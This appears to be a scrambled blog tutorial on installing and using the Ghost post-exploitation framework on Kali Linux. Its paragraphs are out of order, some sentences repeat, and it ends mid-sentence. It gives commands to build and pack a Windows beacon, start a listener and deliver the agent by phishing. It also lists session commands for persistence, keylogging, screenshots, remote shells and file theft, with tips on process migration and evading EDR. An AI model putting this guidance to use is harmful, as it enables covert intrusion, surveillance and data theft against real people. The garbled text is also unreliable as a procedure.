If you are tired of manually managing payloads and listeners, Ghost is the post-exploitation Swiss Army knife you need. In this guide, we will clone the infamous ghostframework from GitHub, install it on Kali Linux, and walk through its core capabilities. Ghost is an open-source, Python-based post-exploitation and remote administration framework. Think of it as a lightweight, modular alternative to heavier frameworks like Cobalt Strike (without the price tag) or a more structured version of Meterpreter.
sudo python3 setup.py install Alternatively, if you want to run from source without installation:
git clone https://github.com/EntySec/Ghost.git Navigate into the directory:
Every penetration tester knows the drill: You find a vulnerable host, you pop a shell, and then... the real battle begins. Maintaining persistence, evading detection, and moving laterally often requires a toolbox of half-baked scripts. ghost framework kali linux github
cd Ghost Ghost requires Python 3.9+ and a handful of pip packages. The framework includes an installer script, but I prefer to inspect dependencies first.
Use migrate to jump into a trusted process like explorer.exe before running keyloggers. Ghost vs. Other Frameworks | Feature | Ghost Framework | Meterpreter | Covenant (C2) | |---------|----------------|-------------|---------------| | Setup complexity | Low | Medium | High | | Windows evasion | Good | Excellent | Medium | | Linux support | Medium | Low | Low | | Community modules | 30+ | 200+ | 15+ | | Memory footprint | ~2MB | ~5MB | ~10MB |
| Command | What it does | |---------|---------------| | sysinfo | OS, hostname, architecture, uptime | | persist | Install startup persistence (Registry/Run key) | | keylog | Capture keystrokes from the target | | screenshot | Grab remote desktop (Windows GDI) | | shell | Drop into an interactive cmd.exe | | upload /local/path /remote/path | Exfil tools | | download C:\secret\data.txt | Steal files | If you are tired of manually managing payloads
Clone it today. Run it in your lab. Break it. Then fix it. That's how you learn. Have you used Ghost in a recent engagement or CTF? Drop your experience in the comments – especially if you've written a custom module.
ghost > sessions -i 1 Inside an active session, you can load modules:
pip3 install -r requirements.txt If you get ModuleNotFoundError: No module named 'gnureadline' , run pip3 install gnureadline . Kali rolling often misses this. Step 3: Launching the Ghost Console Start the framework with: Think of it as a lightweight, modular alternative
ghost > build windows/x64 beacon.exe --upx ghost > listen http 0.0.0.0 8080 3. Deploy the agent Get beacon.exe onto your target (phishing, dropbox, or SMB share). When executed, it calls back to your Kali box. 4. Interact with the session Once a session checks in, list active sessions:
Enter .
Ghost is perfect for CTFs, OSCP labs, and quick internal assessments where you don't want to trigger EDR with standard Metasploit patterns. Customizing from GitHub Source Since you have the repo, you can write your own modules. Ghost modules live in ghost/modules/ . The structure is dead simple: